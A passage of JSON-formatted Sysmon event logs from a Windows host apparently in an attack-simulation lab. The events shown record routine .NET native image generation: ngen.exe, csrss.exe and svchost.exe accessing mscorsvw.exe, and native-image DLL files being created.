AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: DLL\r\nUtcTime: 2020-08-07 12:04:36.307\r\nProcessGuid: {90617006-4353-5F2D-0000-001028681100}\r\nProcessId: 4008\r\nImage: C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe\r\nTargetFilename: C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\Temp\\fa8-0\\System.Web.Services.dll\r\nCreationUtcTime: 2020-08-07 12:04:36.307","Category":"File created (rule: FileCreate)","Opcode":"Info","RuleName":"DLL","UtcTime":"2020-08-07 12:04:36.307","ProcessGuid":"{90617006-4353-5F2D-0000-001028681100}","Image":"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe","TargetFilename":"C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\Temp\\fa8-0\\System.Web.Services.dll","CreationUtcTime":"2020-08-07 12:04:36.307","EventReceivedTime":"2020-08-07 12:04:36","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:04:36","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8343,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:04:36.369\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010724D0900}\r\nSourceProcessId: 4796\r\nSourceThreadId: 4820\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-4354-5F2D-0000-0010656C1100}\r\nTargetProcessId: 4572\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x103801\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\wow64.dll+10c0b|C:\\Windows\\System32\\wow64.dll+10499|C:\\Windows\\System32\\wow64.dll+6e75|C:\\Windows\\System32\\wow64cpu.dll+1d07|C:\\Windows\\System32\\wow64.dll+1bf87|C:\\Windows\\System32\\wow64.dll+cba0|C:\\Windows\\SYSTEM32\\ntdll.dll+92bd7|C:\\Windows\\SYSTEM32\\ntdll.dll+c7734|C:\\Windows\\SYSTEM32\\ntdll.dll+7834e|C:\\Windows\\SYSTEM32\\ntdll.dll+6fa4c(wow64)|C:\\Windows\\System32\\KERNELBASE.dll+d90a8(wow64)|C:\\Windows\\System32\\KERNELBASE.dll+d7d7c(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+b37e(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+73b7(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+a4c6(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+a642(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+ad30(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+abce(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+af4a(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+b1b4(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+8f0a(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+8fe3(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+9082(wow64)","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:04:36.369","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010724D0900}","SourceProcessId":"4796","SourceThreadId":"4820","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-4354-5F2D-0000-0010656C1100}","TargetProcessId":"4572","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x103801","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\wow64.dll+10c0b|C:\\Windows\\System32\\wow64.dll+10499|C:\\Windows\\System32\\wow64.dll+6e75|C:\\Windows\\System32\\wow64cpu.dll+1d07|C:\\Windows\\System32\\wow64.dll+1bf87|C:\\Windows\\System32\\wow64.dll+cba0|C:\\Windows\\SYSTEM32\\ntdll.dll+92bd7|C:\\Windows\\SYSTEM32\\ntdll.dll+c7734|C:\\Windows\\SYSTEM32\\ntdll.dll+7834e|C:\\Windows\\SYSTEM32\\ntdll.dll+6fa4c(wow64)|C:\\Windows\\System32\\KERNELBASE.dll+d90a8(wow64)|C:\\Windows\\System32\\KERNELBASE.dll+d7d7c(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+b37e(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+73b7(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+a4c6(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+a642(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+ad30(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+abce(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+af4a(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+b1b4(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+8f0a(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+8fe3(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+9082(wow64)","EventReceivedTime":"2020-08-07 12:04:36","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:04:36","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8344,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:04:36.369\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 760\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-4354-5F2D-0000-0010656C1100}\r\nTargetProcessId: 4572\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:04:36.369","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"760","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-4354-5F2D-0000-0010656C1100}","TargetProcessId":"4572","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:04:36","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:04:36","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8345,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:04:36.385\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-4354-5F2D-0000-0010656C1100}\r\nTargetProcessId: 4572\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:04:36.385","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-4354-5F2D-0000-0010656C1100}","TargetProcessId":"4572","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:04:36","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:04:36","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8346,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:04:36.432\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 1148\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-431D-5F2D-0000-001013FB0F00}\r\nTargetProcessId: 4428\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:04:36.432","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"1148","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-431D-5F2D-0000-001013FB0F00}","TargetProcessId":"4428","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:04:36","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:04:36","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8347,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:04:36.432\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010724D0900}\r\nSourceProcessId: 4796\r\nSourceThreadId: 4524\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-431D-5F2D-0000-001013FB0F00}\r\nTargetProcessId: 4428\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x103801\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\wow64.dll+10c0b|C:\\Windows\\System32\\wow64.dll+10499|C:\\Windows\\System32\\wow64.dll+6e75|C:\\Windows\\System32\\wow64cpu.dll+1d07|C:\\Windows\\System32\\wow64.dll+1bf87|C:\\Windows\\System32\\wow64.dll+cba0|C:\\Windows\\SYSTEM32\\ntdll.dll+784ad|C:\\Windows\\SYSTEM32\\ntdll.dll+7834e|C:\\Windows\\SYSTEM32\\ntdll.dll+6fa4c(wow64)|C:\\Windows\\System32\\KERNELBASE.dll+d90a8(wow64)|C:\\Windows\\System32\\KERNELBASE.dll+d7d7c(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+b37e(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+73b7(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+a4c6(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+a642(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+ad30(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+ae03(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+c43d(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+c4ad(wow64)|C:\\Windows\\System32\\KERNEL32.DLL+162c4(wow64)|C:\\Windows\\SYSTEM32\\ntdll.dll+60969(wow64)|C:\\Windows\\SYSTEM32\\ntdll.dll+60934(wow64)","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:04:36.432","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010724D0900}","SourceProcessId":"4796","SourceThreadId":"4524","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-431D-5F2D-0000-001013FB0F00}","TargetProcessId":"4428","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x103801","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\wow64.dll+10c0b|C:\\Windows\\System32\\wow64.dll+10499|C:\\Windows\\System32\\wow64.dll+6e75|C:\\Windows\\System32\\wow64cpu.dll+1d07|C:\\Windows\\System32\\wow64.dll+1bf87|C:\\Windows\\System32\\wow64.dll+cba0|C:\\Windows\\SYSTEM32\\ntdll.dll+784ad|C:\\Windows\\SYSTEM32\\ntdll.dll+7834e|C:\\Windows\\SYSTEM32\\ntdll.dll+6fa4c(wow64)|C:\\Windows\\System32\\KERNELBASE.dll+d90a8(wow64)|C:\\Windows\\System32\\KERNELBASE.dll+d7d7c(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+b37e(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+73b7(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+a4c6(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+a642(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+ad30(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+ae03(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+c43d(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+c4ad(wow64)|C:\\Windows\\System32\\KERNEL32.DLL+162c4(wow64)|C:\\Windows\\SYSTEM32\\ntdll.dll+60969(wow64)|C:\\Windows\\SYSTEM32\\ntdll.dll+60934(wow64)","EventReceivedTime":"2020-08-07 12:04:36","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:04:36","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8348,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:04:36.447\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-4354-5F2D-0000-0010686F1100}\r\nTargetProcessId: 4428\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:04:36.447","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-4354-5F2D-0000-0010686F1100}","TargetProcessId":"4428","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:04:36","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:04:36","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":8349,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: DLL\r\nUtcTime: 2020-08-07 12:04:36.526\r\nProcessGuid: {90617006-4354-5F2D-0000-0010686F1100}\r\nProcessId: 4428\r\nImage: C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe\r\nTargetFilename: C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\Temp\\114c-0\\CustomMarshalers.dll\r\nCreationUtcTime: 2020-08-07 12:04:36.526","Category":"File created (rule: FileCreate)","Opcode":"Info","RuleName":"DLL","UtcTime":"2020-08-07 12:04:36.526","ProcessGuid":"{90617006-4354-5F2D-0000-0010686F1100}","Image":"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe","TargetFilename":"C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\Temp\\114c-0\\CustomMarshalers.dll","CreationUtcTime":"2020-08-07 12:04:36.526","EventReceivedTime":"2020-08-07 12:04:37","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:04:36","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8350,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:04:36.572\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010724D0900}\r\nSourceProcessId: 4796\r\nSourceThreadId: 4820\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-4354-5F2D-0000-0010D2721100}\r\nTargetProcessId: 3148\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x103801\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\wow64.dll+10c0b|C:\\Windows\\System32\\wow64.dll+10499|C:\\Windows\\System32\\wow64.dll+6e75|C:\\Windows\\System32\\wow64cpu.dll+1d07|C:\\Windows\\System32\\wow64.dll+1bf87|C:\\Windows\\System32\\wow64.dll+cba0|C:\\Windows\\SYSTEM32\\ntdll.dll+92bd7|C:\\Windows\\SYSTEM32\\ntdll.dll+c7734|C:\\Windows\\SYSTEM32\\ntdll.dll+7834e|C:\\Windows\\SYSTEM32\\ntdll.dll+6fa4c(wow64)|C:\\Windows\\System32\\KERNELBASE.dll+d90a8(wow64)|C:\\Windows\\System32\\KERNELBASE.dll+d7d7c(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+b37e(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+73b7(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+a4c6(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+a642(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+ad30(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+abce(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+af4a(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+b1b4(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+8f0a(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+8fe3(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+9082(wow64)","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:04:36.572","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010724D0900}","SourceProcessId":"4796","SourceThreadId":"4820","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-4354-5F2D-0000-0010D2721100}","TargetProcessId":"3148","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x103801","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\wow64.dll+10c0b|C:\\Windows\\System32\\wow64.dll+10499|C:\\Windows\\System32\\wow64.dll+6e75|C:\\Windows\\System32\\wow64cpu.dll+1d07|C:\\Windows\\System32\\wow64.dll+1bf87|C:\\Windows\\System32\\wow64.dll+cba0|C:\\Windows\\SYSTEM32\\ntdll.dll+92bd7|C:\\Windows\\SYSTEM32\\ntdll.dll+c7734|C:\\Windows\\SYSTEM32\\ntdll.dll+7834e|C:\\Windows\\SYSTEM32\\ntdll.dll+6fa4c(wow64)|C:\\Windows\\System32\\KERNELBASE.dll+d90a8(wow64)|C:\\Windows\\System32\\KERNELBASE.dll+d7d7c(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+b37e(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+